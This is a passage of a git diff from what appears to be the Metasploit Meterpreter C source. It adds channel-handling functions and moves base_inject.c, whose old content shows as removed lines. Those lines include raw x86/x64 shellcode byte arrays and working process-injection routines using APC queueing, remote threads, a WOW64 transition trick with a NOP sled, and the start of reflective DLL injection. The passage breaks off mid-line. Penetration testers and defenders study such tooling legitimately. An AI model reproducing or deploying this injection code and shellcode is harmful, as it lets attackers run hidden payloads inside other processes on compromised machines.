------------------ + * + * Removes the local instance of the channel + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close + */ +DWORD remote_response_core_channel_close(Remote *remote, Packet *packet) +{ + DWORD res = ERROR_SUCCESS, channelId; + Channel *channel = NULL; + + do + { + // Get the channel identifier + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // Try to locate the specified channel + if (!(channel = channel_find_by_id(channelId))) + { + res = ERROR_NOT_FOUND; + break; + } + + // Destroy the channel + channel_destroy(channel, packet); + + } while (0); + + return res; +} + + +/* + * core_channel_seek + * ----------------- + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to seek on + * req: TLV_TYPE_SEEK_OFFSET -- The offset to seek to + * req: TLV_TYPE_SEEK_WHENCE -- The relativity to which the offset refers + */ +DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet) +{ + Channel *channel = NULL; + Packet *response = packet_create_response(packet); + DWORD result = ERROR_SUCCESS; + + do + { + // Lookup the channel by its identifier + if (!(channel = channel_find_by_id( + packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) + { + result = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Make sure this class is compatible + if (channel_get_class(channel) != CHANNEL_CLASS_POOL) + { + result = ERROR_NOT_SUPPORTED; + break; + } + + // Call the function if it's set + if (channel->ops.pool.seek) + result = channel->ops.pool.seek(channel, packet, + channel->ops.pool.native.context, + (LONG)packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_OFFSET), + packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_WHENCE)); + else + result = ERROR_NOT_SUPPORTED; + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + // Transmit the result + packet_transmit_response(result, remote, response); + + return result; +} + +/* + * core_channel_eof + * ----------------- + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check eof on + */ +DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet) +{ + Channel *channel = NULL; + Packet *response = packet_create_response(packet); + DWORD result = ERROR_SUCCESS; + BOOL isEof = FALSE; + + do + { + // Lookup the channel by its identifier + if (!(channel = channel_find_by_id( + packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) + { + result = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Make sure this class is compatible + if (channel_get_class(channel) != CHANNEL_CLASS_POOL) + { + result = ERROR_NOT_SUPPORTED; + break; + } + + // Call the function if it's set + if (channel->ops.pool.eof) + result = channel->ops.pool.eof(channel, packet, + channel->ops.pool.native.context, + &isEof); + else + result = ERROR_NOT_SUPPORTED; + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + // Add the EOF flag + packet_add_tlv_bool(response, TLV_TYPE_BOOL, isEof); + + // Transmit the response + packet_transmit_response(result, remote, response); + + return result; +} + +/* + * core_channel_tell + * ----------------- + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check tell on + */ +DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet) +{ + Channel *channel = NULL; + Packet *response = packet_create_response(packet); + DWORD result = ERROR_SUCCESS; + LONG offset = 0; + + do + { + // Lookup the channel by its identifier + if (!(channel = channel_find_by_id( + packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) + { + result = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Make sure this class is compatible + if (channel_get_class(channel) != CHANNEL_CLASS_POOL) + { + result = ERROR_NOT_SUPPORTED; + break; + } + + // Call the function if it's set + if (channel->ops.pool.tell) + result = channel->ops.pool.tell(channel, packet, + channel->ops.pool.native.context, + &offset); + else + result = ERROR_NOT_SUPPORTED; + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + // Add the offset + packet_add_tlv_uint(response, TLV_TYPE_SEEK_POS, offset); + + // Transmit the response + packet_transmit_response(result, remote, response); + + return result; +} + + +/* + * core_channel_interact + * --------------------- + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with + * req: TLV_TYPE_BOOL -- True if interactive, false if not. + */ +DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + Channel *channel = NULL; + DWORD channelId; + DWORD result = ERROR_SUCCESS; + BOOLEAN interact; + + // Get the channel identifier + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL); + + // If the channel is found, set the interactive flag accordingly + if ((channel = channel_find_by_id(channelId))) + { + lock_acquire( channel->lock ); + + // If the response packet is valid + if ((response) && + (channel_get_class(channel) != CHANNEL_CLASS_BUFFERED)) + { + NativeChannelOps *native = (NativeChannelOps *)&channel->ops; + + // Check to see if this channel has a registered interact handler + dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context ); + if (native->interact) { + result = native->interact(channel, packet, native->context, interact); + } + } + + // Set the channel's interactive state + channel_set_interactive(channel, interact); + + lock_release( channel->lock ); + } + + // Send the response to the requestor so that the interaction can be + // complete + packet_transmit_response(result, remote, response); + + return ERROR_SUCCESS; +} + +/* + * core_shutdown + * ----------------- + */ +DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult ) +{ + Channel *channel = NULL; + Packet *response = packet_create_response( packet ); + DWORD result = ERROR_SUCCESS; + + // Acknowledge the shutdown request + packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE ); + + // Transmit the response + dprintf("[DISPATCH] Ack shutdown request"); + packet_transmit_response( result, remote, response ); + + *pResult = result; + + dprintf("[DISPATCH] Telling dispatch loop to finish"); + // We always return FALSE here to tell the server to terminate. + return FALSE; +} diff --git a/c/meterpreter/source/common/arch/win/i386/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c similarity index 96% rename from c/meterpreter/source/common/arch/win/i386/base_inject.c rename to c/meterpreter/source/metsrv/base_inject.c index 9db1d9df..2a217244 100644 --- a/c/meterpreter/source/common/arch/win/i386/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -1,569 +1,562 @@ -#include "common.h" -#include "base_inject.h" -#include "../remote_thread.h" -#include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" -#include - -// Simple trick to get the current meterpreters arch -#ifdef _WIN64 - const DWORD dwMeterpreterArch = PROCESS_ARCH_X64; -#else - const DWORD dwMeterpreterArch = PROCESS_ARCH_X86; -#endif - -// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' -// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 -// found and fixed by ReWolf, incorporated by RaMMicHaeL -BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" - "\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" - "\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14" - "\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF" - "\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C" - "\x24"; - -// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' -BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" - "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" - "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" - "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" - "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" - "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" - "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" - "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" - "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" - "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" - "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" - "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" - "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" - "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" - "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" - "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" - "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" - "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" - "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; - -// see '/msf3/external/source/shellcode/x86/migrate/apc.asm' -BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" - "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" - "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" - "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" - "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" - "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" - "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" - "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" - "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" - "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" - "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" - "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" - "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" - "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00"; - -// see '/msf3/external/source/shellcode/x64/migrate/apc.asm' -BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" - "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" - "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" - "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" - "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" - "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" - "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" - "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" - "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" - "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" - "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" - "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" - "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" - "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" - "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" - "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" - "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" - "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00"; - -/* - * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread - * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe - */ -DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) -{ - DWORD dwResult = ERROR_ACCESS_DENIED; - HMODULE hNtdll = NULL; - NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; - HANDLE hThreadSnap = NULL; - LPVOID lpApcStub = NULL; - LPVOID lpRemoteApcStub = NULL; - LPVOID lpRemoteApcContext = NULL; - LIST * thread_list = NULL; - THREADENTRY32 t = {0}; - APCCONTEXT ctx = {0}; - DWORD dwApcStubLength = 0; - - do - { - thread_list = list_create(); - if( !thread_list ) - break; - - ctx.s.lpStartAddress = lpStartAddress; - ctx.p.lpParameter = lpParameter; - ctx.bExecuted = FALSE; - - t.dwSize = sizeof( THREADENTRY32 ); - - // Get the architecture specific apc migration stub... - if( dwDestinationArch == PROCESS_ARCH_X86 ) - { - if( dwMeterpreterArch == PROCESS_ARCH_X64 ) - { - // injecting x64->x86(wow64) - - // Our injected APC ends up running in native x64 mode within the wow64 process and as such - // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. - - // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. - - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) - } - else - { - // injecting x86->x86 - lpApcStub = &apc_stub_x86; - dwApcStubLength = sizeof( apc_stub_x86 ); - } - } - else if( dwDestinationArch == PROCESS_ARCH_X64 ) - { - // injecting x64->x64 (and the same stub for x86(wow64)->x64) - lpApcStub = &apc_stub_x64; - dwApcStubLength = sizeof( apc_stub_x64 ); - - if( dwMeterpreterArch == PROCESS_ARCH_X86 ) - { - // injecting x86(wow64)->x64 - - // For now we leverage a bug in wow64 to get x86->x64 injection working, this - // will simply fail gracefully on systems where the technique does not work. - - MEMORY_BASIC_INFORMATION mbi = {0}; - LPVOID lpRemoteAddress = NULL; - BYTE * lpNopSled = NULL; - BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; - - /* - // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. - // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, - // however the start address of the new APC in the native x64 process is not what we specify but instead it is - // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc - // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there - // injection will continue as normal. - - // The registers on the native x64 process after the queued APC is attempted to run: - rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process - rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) - rdx = dwApcStatusBlock // unused - r8 = dwApcReserved // unused - - // On the WOW64 process side: - wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine - wow64:000000006B0095F0 - wow64:000000006B0095F0 public Wow64ApcRoutine - - // On the native x64 process side: - ntdll:0000000077EF30A0 public KiUserApcDispatcher - ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value - ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock - ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved - ntdll:0000000077EF30AE mov r9, rsp - ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! - - // Our bStub: - 00000000 4889C8 mov rax, rcx - 00000003 48C1E120 shl rcx, 32 - 00000007 48C1E920 shr rcx, 32 - 0000000B 48C1E820 shr rax, 32 - 0000000F FFE0 jmp rax - */ - - // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... - // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. - lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteAddress ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); - - if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); - - lpNopSled = (BYTE *)malloc( mbi.RegionSize ); - if( !lpNopSled ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); - - memset( lpNopSled, 0x90, mbi.RegionSize ); - - if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) - - if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) - - free( lpNopSled ); - } - } - else - { - SetLastError( ERROR_BAD_ENVIRONMENT ); - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) - } - - hNtdll = LoadLibraryA( "ntdll" ); - if( !hNtdll ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) - - pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); - if( !pNtQueueApcThread ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) - - hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); - if( !hThreadSnap ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) - - if( !Thread32First( hThreadSnap, &t ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) - - // Allocate memory for the apc stub and context - lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteApcStub ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) - - // Simply determine the apc context address - lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); - - dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); - - // Write the apc stub to memory... - if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) - - // Write the apc context to memory... - if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) - - do - { - HANDLE hThread = NULL; - - // Only proceed if we are targeting a thread in the target process - if( t.th32OwnerProcessID != dwProcessID ) - continue; - - // Open a handle to this thread so we can do the apc injection - hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); - if( !hThread ) - continue; - - dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); - - // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt - // a connection back but the client side will not be ready to accept it and we loose the session. - if( SuspendThread( hThread ) != (DWORD)-1 ) - { - list_push( thread_list, hThread ); - - // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target - // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. - // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. - if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) - { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); - dwResult = ERROR_SUCCESS; - } - else - { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); - } - } - else - { - CloseHandle( hThread ); - } - - // keep searching for more target threads to inject our apc stub into... - - } while( Thread32Next( hThreadSnap, &t ) ); - - } while( 0 ); - - if( dwResult == ERROR_SUCCESS && remote && response ) - { - // We should only run this block if we are being used for migration... - - // Send a successful response to let the ruby side know that we've pretty - // much successfully migrated and have reached the point of no return - packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE ); - packet_transmit_response( ERROR_SUCCESS, remote, response ); - - // Sleep to give the remote side a chance to catch up... - Sleep( 2000 ); - } - - if( thread_list ) - { - // Resume all the threads which we queued our apc into as the remote - // client side will now be ready to handle the new conenction. - while( TRUE ) - { - HANDLE t = (HANDLE)list_pop( thread_list ); - if( !t ) - break; - ResumeThread( t ); - CloseHandle( t ); - } - - list_destroy( thread_list ); - } - - if( hThreadSnap ) - CloseHandle( hThreadSnap ); - - if( hNtdll ) - FreeLibrary( hNtdll ); - - SetLastError( dwResult ); - - return dwResult; -} - -/* - * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) - * enviroment into a native x64 enviroment and accessing the native win64 API's. - * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new - * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out - * Windows 2003 from this method of injection, however the APC injection method will work on 2003. - */ -DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) -{ - DWORD dwResult = ERROR_SUCCESS; - EXECUTEX64 pExecuteX64 = NULL; - X64FUNCTION pX64function = NULL; - WOW64CONTEXT * ctx = NULL; - OSVERSIONINFO os = {0}; - - do - { - os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); - - if( !GetVersionEx( &os ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) - - // filter out Windows 2003 - if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) - { - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) - } - - // alloc a RWX buffer in this process for the EXECUTEX64 function - pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !pExecuteX64 ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) - - // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) - pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !pX64function ) - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) - - // copy over the wow64->x64 stub - memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); - - // copy over the native x64 function - memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); - - // set the context - ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); - - ctx->h.hProcess = hProcess; - ctx->s.lpStartAddress = lpStartAddress; - ctx->p.lpParameter = lpParameter; - ctx->t.hThread = NULL; - - dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); - - // Transition this wow64 process into native x64 and call pX64function( ctx ) - // The native function will use the native Win64 API's to create a remote thread in the target process. - if( !pExecuteX64( pX64function, (DWORD)ctx ) ) - { - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) - } - - if( !ctx->t.hThread ) - { - SetLastError( ERROR_INVALID_HANDLE ); - BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) - } - - // Success! grab the new thread handle from of the context - *pThread = ctx->t.hThread; - - dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); - - } while( 0 ); - - if( pExecuteX64 ) - VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); - - if( pX64function ) - VirtualFree( pX64function, 0, MEM_DECOMMIT ); - - return dwResult; -} - -/* - * Attempte to gain code execution in the remote process by creating a remote thread in the target process. - */ -DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) -{ - DWORD dwResult = ERROR_SUCCESS; - DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; - HANDLE hThread = NULL; - - do - { - // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread - // fails, giving us a chance to try an alternative method or fail migration gracefully. - hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); - if (!hThread) - { - if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64) - { - dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; - - if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS) - { - BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed") - } - } - else - { - BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") - } - } - else - { - dprintf("[INJECT] inject_via_remotethread: succeeded"); - } - - if (remote && response) - { - dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..."); - // Send a successful response to let the ruby side know that we've pretty - // much successfully migrated and have reached the point of no return - packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique); - packet_transmit_response(ERROR_SUCCESS, remote, response); - - dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..."); - // Sleep to give the remote side a chance to catch up... - Sleep(2000); - } - - dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); - // Resume the injected thread... - if (ResumeThread(hThread) == (DWORD)-1) - { - BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") - } - - } while (0); - - if (hThread) - { - CloseHandle(hThread); - } - - SetLastError(dwResult); - - return dwResult; -} - -/* - * Inject a DLL image into a process via Reflective DLL Injection. - * - * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for - * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() - * in stdapi will handle this automatically. - * - * Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's - * in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset() - * will check for this and fail gracefully. - * - * Note: This function largely depreciates LoadRemoteLibraryR(). - */ -DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine ) -{ - DWORD dwResult = ERROR_ACCESS_DENIED; - DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; - LPVOID lpRemoteCommandLine = NULL; - HANDLE hProcess = NULL; - LPVOID lpRemoteLibraryBuffer = NULL; - LPVOID lpReflectiveLoader = NULL; - DWORD dwReflectiveLoaderOffset = 0; - - do - { - if( !lpDllBuffer || !dwDllLenght ) - BREAK_WITH_ERROR( "[INJECT] 